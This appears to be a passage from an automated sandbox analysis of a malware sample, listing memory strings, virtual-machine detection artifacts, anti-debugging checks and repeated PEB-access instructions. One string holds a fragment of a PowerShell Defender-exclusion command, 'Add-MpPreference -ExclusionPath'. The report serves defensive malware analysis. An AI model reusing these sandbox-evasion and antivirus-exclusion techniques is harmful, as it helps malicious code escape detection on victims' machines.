Source: explorer.exe, 00000005.00000000.263927638.000000000F596000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000005.00000000.256121125.0000000008220000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000005.00000000.257172140.0000000008640000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II!Add-MpPreference -ExclusionPath "
Source: explorer.exe, 00000005.00000002.493965122.00000000055D0000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}V*(E
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: explorer.exe, 00000005.00000000.257996526.000000000871F000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}~
Source: explorer.exe, 00000005.00000000.257996526.000000000871F000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000005.00000000.258585279.00000000087D1000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00ices
Source: explorer.exe, 00000005.00000000.251488161.0000000005603000.00000004.00000001.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b},
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: explorer.exe, 00000005.00000000.256121125.0000000008220000.00000002.00000001.sdmp	Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000005.00000000.256121125.0000000008220000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: 457b22da_by_Libranalysis.exe, 00000000.00000002.237432147.00000000027E3000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: explorer.exe, 00000005.00000000.256121125.0000000008220000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe

Process information queried: ProcessInformation

Anti Debugging:

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Show sources

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe

Code function: 0_2_00C91660 CheckRemoteDebuggerPresent,

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process queried: DebugPort
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process queried: DebugPort
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe

Code function: 4_2_004088B0 rdtsc

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe

Code function: 4_2_00409B20 LdrLoadDll,

Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01942990 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194FD9B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194A185 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0193C182 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01942581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01942581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01942581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01942581 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01912D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01912D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01912D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01912D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01912D8A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01941DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01941DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01941DB5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019951BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019951BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019951BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019951BE mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019461A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019461A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019435A1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019969A6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019C8DF1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0191B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0191B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0191B1E1 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019A41E8 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0192D5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0192D5E0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01919100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01919100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01919100 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0191AD30 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01923D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01923D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01923D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01923D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01923D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01923D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01923D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01923D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01923D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01923D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01923D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01923D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01923D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019E8D34 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194513A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194513A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0199A537 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01944D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01944D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01944D3B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01934120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01934120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01934120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01934120 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01934120 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01937D50 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01953D43 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0193B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0193B944 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01993540 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0191B171 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0191B171 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0193C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0193C577 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0191C962 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0192849B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01919080 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01993884 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01993884 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194F0BF mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194F0BF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019420A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019420A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019420A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019420A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019420A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019420A0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019590AF mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019E8CD6 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019AB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019AB8D0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019AB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019AB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019AB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019AB8D0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019D14FB mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01996CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01996CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01996CF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019158EC mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019E4015 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019E4015 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01997016 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01997016 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01997016 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019E740D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019E740D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019E740D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01996C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01996C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01996C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01996C0A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019D1C06 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0192B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0192B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0192B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0192B02A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194BC2C mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194002D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01930050 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01930050 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019AC450 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019AC450 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194A44B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019E1074 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019D2073 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0193746D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01942397 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194B390 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01928794 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01997794 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01997794 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01997794 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019D138A mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019CD380 mov ecx, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01921B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01921B8F mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01944BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01944BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01944BAD mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019E5BA5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019953CA mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019953CA mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019537F5 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019403E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019403E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019403E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019403E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019403E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019403E2 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0193F716 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019D131B mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019AFF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019AFF10 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019E070D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019E070D mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194A70E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0194E730 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01914F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01914F2E mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_019E8B58 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0191F358 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0191DB40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_0192EF40 mov eax, dword ptr fs:[00000030h]
Source: C:\Users\user\Desktop\457b22da_by_Libranalysis.exe	Code function: 4_2_01943B7A mov eax, dword ptr fs:[00000030h]
